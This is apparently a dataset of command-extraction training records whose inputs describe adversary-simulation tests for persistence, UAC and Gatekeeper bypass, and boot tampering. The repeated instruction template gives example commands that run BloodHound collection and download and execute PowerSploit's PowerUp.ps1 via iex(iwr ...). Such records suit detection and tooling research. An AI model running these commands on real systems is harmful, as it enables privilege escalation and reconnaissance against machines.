    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This atomic test add persistence taking advantage of the  Windows Context Menu [Hexacorn](https://www.hexacorn.com/blog/2018/07/29/beyond-good-ol-run-key-part-82/)\nUser have to right click on the main screen or in the white space of the opened folder (e.g. Size Modify).\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    SecEdit.exe can be used to export the current local security policy applied to a host.\n[Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email.\nSensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Gatekeeper Bypass via command line\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    UAC bypass using Magic technique via function of WinPwn",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test modifies the BootExecute registry value to \"autocheck autoche *\", which can be used to simulate an adversary's attempt to tamper with the system's boot process. \nReference - https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf\nNOTE that by not saving the correct value, you may inhibit your system from booting properly. Only run on a test system. There is a reg export before running the Atomic.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Modify the registry to allow a driver, service, to persist in Safe Mode.\nsee https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/ and https://blog.didierstevens.com/2007/03/26/playing-with-safe-mode/ for further details.\nAdding a subkey to Minimal with the name of your service and a default value set to Service, makes that your service will be started when you boot into Safe Mode without networking. The same applies for the Network subkey.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user. \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - 